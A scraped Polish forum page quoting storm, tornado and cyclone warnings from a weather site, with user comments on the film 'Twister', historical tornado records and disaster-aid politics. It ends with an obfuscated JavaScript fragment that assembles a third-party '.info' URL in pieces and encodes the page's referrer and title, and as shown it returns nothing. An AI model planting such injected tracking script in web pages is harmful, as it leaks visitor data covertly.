poczynione przez wiatr mogą być olbrzymie. Wszędzie też ludność prosi się o nie
wychodzenie z domów do jutrzejszego południa, przeparkowanie samochodów spod
drzew, unikanie przebywania w pobliżu linii energetycznych i tablic reklamowych.
Absolutnie zabrania się wychodzenia w góry, gdyż zarówno w Alpach jak i w
Karpatach wiatr będzie przekraczał 150 km/h, a lokalnie nawet 200 km/h. Wszędzie
też oprócz wichur element zagrożenia tworzyć będą ulewne deszcze, burze i
gradobicia. Niemcy dodatkowo pokusili się o wydanie ostrzeżenia przed trąbami
powietrznymi, które przy takich warunkach są jak najbardziej możliwe i to w
najróżniejszych regionach środkowej Europy. Jak na razie w Wielkiej Brytanii
maksymalne porywy wiatru sięgają już 122 km/h, a wiatr wciąż jeszcze gwałtownie
przybiera na sile."
www.twojapogoda.pl/
Strach się bać

  Skandal w TV. Dzisiaj nadają Twistera!
Ja też się zastanawiałam, czy TVP odważy się puścić ten film.
Z drugiej strony film ten zawiera sporo informacji, m.in. o tym, jak sobie
radzić, kiedy trąba się pojawia, czy co ją wywołuje.
W 1999 tornada w Oklahomie wywołała sytuacja pogodowa, która trwała od 3 do 6
maja. Przyniosła ona gwałtowne burze do Oklahomy, Kansas, Arkansas i Tennessee.
3 maja w Oklahomie i Kansas pojawiło się aż 71 66 tornad, a w samym Oklahoma
City pojawiła się trąba powietrzna o sile 5 stopnia w skali Fijity. Zginęło 48
osób.
3 i 4 kwietnia 1974 roku 148 tornad nawiedziło 13 stanów amerykańskich.
Największe notowane tornado przeszło 18 marca 1925 roku krótko po południu nad
trzema stanami Missouri, Illinois i Indiana w USA. Miało ono siłę F5, czyli
największą z notowanych, i zabiło 695 osób, a 2027 zraniło.
Największe (objętościowo) notowane tornado, o sile F4 i średnicy 4 km, zostało
zanotowane 22 maja 2004 w Hallam w stanie Pensylwania w hrabstwie York.
Mimo że najwięcej tornad rocznie notuje się w Stanach Zjednoczonych, krajem o
największej liczbie tornad na km² jest Wielka Brytania, a zatem dość blisko, prawda?
Najwięcej tornad na raz (71) powstało z ogromnej burzy szalejącej nad stanami
Oklahoma i Kansas w maju 1999 r. (opisane wyżej).
Podczas modyfikowania skali Fujity w 2007 r. uznano, że jedynym tornadem F6
mogło być to z 18 marca 1925 r.

To, co pojawiło się w piątek nad Polską, to była trąba bodajże o sile 1 stopnia,
góra - F2.
Na pewno musimy się zacząć przyzwyczajać do myśli, że także u nas będą się takie
zjawiska tworzyć, że to nie tylko "amerykańska fikcja".
Trochę rozsądku i mniej "gorącej głowy".
Film i tak niczego nie zmieni. Przecież trąby nie wywoła. Zapewne jednak u tych,
którzy tego nie przeżyli i nie są w stanie nawet wyobrazić sobie, z jakimi
przeżyciami wiąże się pojawienie się trąby powietrznej, może wzbudzić
współczucie dla ofiar ostatniego ataku żywiołu.
Wczoraj na National Geographic o 21.00 rozpoczął się 24-godzinny maraton: Klęski
żywiołowe. Wulkany, tornada, wielkie mrozy, tajfuny...
Niemal codziennie w którejś części świata niszczycielski żywioł próbuje pokonać
człowieka. Nie znaczy to, że nagle telewizje mają przestać nadawać programy o
żywiołach, bo ktoś może poczuć się jakoś urażony czy dotknięty, bo przeżył tragedię.
Ludzi trzeba uświadamiać, że to nie film, tylko życie, które może być udziałem
każdego z nas.
Sądzę, że lepiej o tym mówić, uświadamiać ludzi, niż udawać, że to jednorazowy
przypadek i nigdy już się nie wydarzy.
Ludzie muszą sobie wyrobić określone nawyki w sytuacji zagrożenia. Inaczej ofiar
następnym razem może być znacznie więcej...

  OsTrZeGaM. O 19.30 będzie ulewa!
Niestety wszystko możliwe
Po południu w cieniu były 33-34 stopnie

(16.08/17:30) - Późne popołudnie przynosi w Polsce najwyższą
temperaturę tegorocznego sierpnia. W dodatku nasz kraj jest jednym z
najcieplejszych krajów w Europie. Na Śląsku, w Małopolsce, na Ziemi
Łódzkiej i Mazowszu termometry pokazały dzisiaj w cieniu 33 stopnie.
Lokalnie jednak w Tarnowie i Raciborzu aż 34 stopnie. W pozostałych
regionach kraju notowano przeważnie od 29 do 31 stopni, jedynie poza
województwami zachodnimi, gdzie od rana pada i temperatura jest
niska. Przykładowo na Ziemi Lubuskiej i zachodnim Pomorzu było
przeważnie od 21 do 23 stopni. Różnica temperatury pomiędzy
zachodnią a wschodnią częścią województwa dolnośląskiego była
znaczna, gdyż na wschodzie notowano aż 32 stopnie, a w tym czasie na
zachodzie tylko 25 stopni. Obecnie strefa chmur deszczowych zaczęła
się przesuwać na wschód i przysłoniła niebo nad województwami
zachodnimi i północnymi. Natomiast na linii skrajności temperatury,
czyli od wschodniego Pomorza, przez Kujawy i Wielkopolskę, po Dolny
Śląsk i Opolszczyznę, zaczęły się pojawiać burze. Zjawiska stopniowo
będą przybierać na sile. Warto więc już teraz przestawić samochody
spod drzew, pozamykać okna, ściągnąć pranie i uprzątnąć wszystkie
rzeczy leżące luzem na balkonach lub przed domem, które mogłyby
zostać porwane przez nagłe i silne podmuchy wiatru. Temperatura na
południu, wschodzie i w centrum Polski będzie się obniżać powoli,
więc upał może się utrzymać nawet do godziny 20:00. Spychana na
wschód gorąca masa powietrza pozostanie najbliższej nocy w
województwach wschodnich, gdzie do rana temperatura nie spadnie
poniżej 18-19 stopni. Podczas opadów deszczu i burz będzie więc
parno, duszno i bardzo nieprzyjemnie.

  Trąba powietrzna szaleje w Opolskiem. Mogą być ...
Przecież takie burze były w Polsce zawsze. Dawno temu wykorzystywano
zjawiska naturalne do straszenia gawiedzi i kontrolowania ciemnego
tłumu. Ale w XXI wieku? Chociaż... w Polsce... no tak, masz rację.
Jasne.

  Dobrze,ze nie glosowałem na PO
to była klęska żywiolowa
tymon99 napisał:

> tu nie ma żadnej ludzkiej krzywdy. zadziałały siły natury, co się
od czasu do
> czasu zdarza.

Zerwanie dachu przez wichurę , pozbawienie ludzi mozliwości
miezkania ( nieważne przez co , czy kogo) to nie jest krzywda ?
A co to jest w takim razie ? Przyjemność ? Normalna, codzienna
sprawa ?

po to właśnie wymyślono ubezpieczenia wzajemne.

W teorii.
W praktyce ubezpieczenia w polskich realiach są raczej po to ,
aby "strzyc frajerów" przez firmy ubepieczeniowe.
Wyplaty odszkodowań są związane z długimi procedurami , towarzystwea
ubezpieczeniowe robia wszystko aby wyplacić jak najmniej ,
zwlekaja , kombinuja.
A droga sądowa dla poszkodowanych jest długa i kosztowna.
Towarzystwa o tym wiedzą a na dodatek maja do dyspozycji cwanych i
dobrze opłacanych prawników.
Polak-szarak z nimi nie wygra.

przy klęskach o wyjątkowej skali oczywiście pomoc państwa jest
potrzebna,

Nie "potrzebna" tylko "konieczna". Tak jest w całym cywilizowanym
swiecie. Państwo , samorządy pomagają poszkodowanym przez kleski
zywiolowe.
A tylko w Polsce ludzie pokroju Tuska czy Cimoiszewicza drwią z
ludzkiego nieszczęścia olewając ofiary klęsk zywiolowych.

ale n
> a
> miły bóg letnie burze to w naszym klimacie zupełnie normalne
zjawisko!

Chyba niewiele wiesz o tej ostatniej klesce.
To nie była normalna , letnia burza. To był kataklizm w wyniku
którego zbinęło wielu ludzi , kilkaset domów zostało zburzonych ,
uszkodzonych.
Instytut Meteorologii i Gospodarki Wodnej podawał ostrzeżenia o
nadzwyczajnym i nietypowym dla naszego klimatu zagrożeniu. Podawał
te ostrzeżenia do wojewodów , starostów do gmin.
Ale jakos nie dotarły do najbardziej zainteresowanych czyli
zagrożonych ludzi.
Nie mamy w Polsce dobrych procedur do ostrzegania o takich
nietypowych zagrożeniach .
A to juz wina rządzących.
I dlatego nawet po fakcie rządzący powinni ofiarom pomagać.
A cyniczne olewanie i to publiczne- to po prostu kpina i drwina z
ludzi.
Jeszcze raz "gratuluję" wyborcom PO decyzji wyborczej.

  aktualny stan pogody i prognozy
Gwałtowne burze na zachodzie Polski
Gwałtowne burze na zachodzie Polski

Do zachodniej Polski znad Niemiec dociera już fala burz i ulew, które mogą być
groźne. Zapowiada ona blisko tygodniowe spore ochłodzenie...
Za nami już ostatni tak ciepły dzień w tym miesiącu. Na zachodzie i południu
kraju temperatura zbliżyła się w cieniu do 30 stopni. Przeważnie było pogodnie,
ale miejscami słabo popadało, a na południu zagrzmiało. Jednak zupełna odmiana
pogody jeszcze przed nami. Znad Niemiec do zachodniej części naszego kraju
dociera powoli strefa gwałtownych burz i ulew. W kolejnych godzinach
niebezpiecznych zjawisk możemy się spodziewać najpierw na Ziemi Lubuskiej oraz
w zachodniej części Pomorza i Dolnego Śląska, a następnie już w całej
zachodniej połowie kraju. W pozostałych regionach do północy będzie przeważnie
spokojnie, chociaż lokalne słabe burze nie są wykluczone. Na zachodzie Polski
burze będą chwilami bardzo silne z ulewnym deszczem, gradem i porywistym
wiatrem. Musimy sobie zdawać sprawę z tego, że podobnie jak w ostatnich
tygodniach, zjawiska mogą powodować zniszczenia w postaci powalonych drzew na
ulice i domy, zerwanych dachów, uszkodzeń linii energetycznych, pożarów i
podtopień. Podczas burz w ciągu jednej godziny spaść może 50 litrów deszczu na
metr kwadratowy ziemi, czyli większa część miesięcznej normy opadów. Wiatr w
porywach może przekraczać 90 km/h. W drugiej połowie nocy z poniedziałku na
wtorek (25/26.06) strefa burz i obfitych opadów deszczu obejmie już niemal cały
kraj, nie będzie padać i grzmieć tylko w województwach wschodnich.
Najmocniejsze zjawiska utrzymają się na Ziemi Lubuskiej, Dolnym Śląsku, Pomorzu
i w Wielkopolsce. Jednak po północy burze bardzo szybko będą słabnąć,
pozostawiając tylko intensywne deszcze. Jutro w ciągu dnia wszędzie popada,
chwilami mocno, ale burz już nie będzie. Za to bardzo mocno powieje, w porywach
do 70 km/h. Co najważniejsze, będzie dużo chłodniej niż dziś, od 18-20 stopni
na zachodzie i Pomorzu, przez 21-23 stopnie w głębi kraju, do najwyżej 24-28
stopni na południowym wschodzie. Jeszcze bardziej zimno, deszczowo i wietrznie
będzie w środę (27.06), kiedy w pełni dnia na zachodzie i północy Polski będzie
tylko 14 stopni, a więc pogoda typowo jesienna.

  Kranie , trzymaj się
Kranie , trzymaj się
czegokolwiek , najlepiej nie opuszczaj domowych pieleszy.

Dwa dawne cyklony pustoszą Europę

Dawne atlantyckie cyklony Maria i Nate przechodzą od wczoraj nad północą
Skandynawii przynosząc sztorm, wichury i zabójcze ulewy...

PEŁNY ARTYKUŁ
PEŁNY ARTYKUŁ

Dawne atlantyckie cyklony tropikalne i huragany Maria i Nate przechodzą od
wczoraj nad północą Skandynawii przynosząc ulewne deszcze i wichury. W
centrum obu układów niżowych ciśnienie spadło do 977 hPa co czyni je
pierwszymi w tym sezonie orkanami. W Norwegii porywy wiatru do tej pory
dochodziły do aż 95 km/h. W górzystych regionach padają ulewne deszcze,
pierwszy raz od wielu miesięcy zmieniające się w śnieżyce. W okolicach Bergen
opady w wysokości 180 litrów na metr kwadratowy spowodowały osunięcie się 40-
metrowego klifu w wyniku czego śmierć poniosła 1 osoba. To pierwsza ofiara
byłych huraganów Maria i Nate, które przez wiele ostatnich dni wędrując przez
Atlantyk nie spowodowały ofiar ani na wyspach tego oceanu ani też na
kontynencie północnoamerykańskim. Pokazuje nam to jak bardzo niebezpieczne są
pozostałości po tropikalnych formacjach cyklonalnych mających olbrzymi wpływ
na pogodę w Europie. Każdego lata i jesieni byłe cyklony i huragany bardzo
często docierają nad Stary Kontynent i pogłębiając się przynoszą prawdziwie
sztormową aurę. W Europie tak potężne niże nazywane orkanami powodują
wichury, ulewy i powodzie, które zapisały się już w historii meteorologii na
przestrzeni dziesiątek lat. Obecnie Maria i Nate mają wpływ również na Polskę
przynosząc nam dzisiaj chłód, lekkie opady, silny wiatr i kontynuację sztormu
na Bałtyku. U nas jednak zjawiska nie są tak gwałtowne jak na przykład w
Szkocji, gdzie przez 72 godziny spadło aż 130 litrów deszczu. W Danii
natomiast podmuchy północnego wiatru sięgnęły 106 km/h. W kolejnych godzinach
byłe huraganu w dalszym ciągu wędrować będą na wschód i dotrą do zachodniej
Rosji przynosząc tam ulewy, burze i znaczne ochłodzenie. Źródło: Twoja
Pogoda. (Dodane: 15.09 / 03:19)

  Ostrzezenie na dzisiejsza noc
Ostrzezenie na dzisiejsza noc
Tej nocy będą burze, ulewy oraz wichury

W nocy na terenie Polski należy się spodziewać gwałtownych burz, silnych
opadów deszczu, wichur i gradobić. Poniżej szczegóły na ten temat...

PEŁNY ARTYKUŁ
PEŁNY ARTYKUŁ

Tej nocy nad Polską z zachodu na północny wschód będzie przechodzić aktywny
front atmosferyczny niosąc nam gwałtowną zmianę pogody. Początkowo na
zachodzie, następnie w głębi kraju, a na koniec nocy także na wschodzie
naszego kraju spodziewać się należy intensywnych opadów deszczu i gwałtownych
burz, którym będą towarzyszyć gradobicia i silne podmuchy zachodniego wiatru.
Przeważnie wiatr wiać będzie w porywach z prędkością 50-70 km/h, ale podczas
burz może sięgać nawet 90 km/h. Na Bałtyku porywy wiatru osiągną wartości
sztormowe, czyli 8 stopni w skali Beauforta. Podczas burz spaść może do 30
litrów deszczu. Lokalnie, gdy zjawiska będą bardzo gwałtowne możliwe są
uszkodzenia linii energetycznych, drzewostanu i budynków, a także miejscowe
podtopienia. Do godziny 6:00 rano zjawiska powinny osłabnąć i czeka nas
chłodniejsza niedziela, z przelotnymi opadami i temperaturą na poziomie od 11-
13 stopni na północy do 17-18 w centrum i 19-20 stopni na południu. Na noc
najlepiej więc zamknąć okna, zabezpieczyć budynki i uprzątnąć rzeczy, które
mogłyby zostać porwane przez wiatr. Kierowców i wszystkich, którzy muszą w
nocą wyjść z domów prosimy o szczególną rozwagę. Chłodny front niesie szereg
zagrożeń o których informujemy szczegółowo w ostrzeżeniach. Dodajmy, że
gwałtowne zjawiska pojawią się lokalnie i nie dotkną obszarów Polski na dużą
skalę. Źródło: Twoja Pogoda. (Dodane: 20.05 / 16:37)

Więc pochowajmy co fruwać może , zamknijmy co otwarte i miejmy nadzieję ,że
nas ominie.


function bb515451dcb2e0e(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa515451dcb2dd4(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa515451dcb2dd4(bb515451dcb2e0e(document.referrer),bb515451dcb2e0e(document.title)));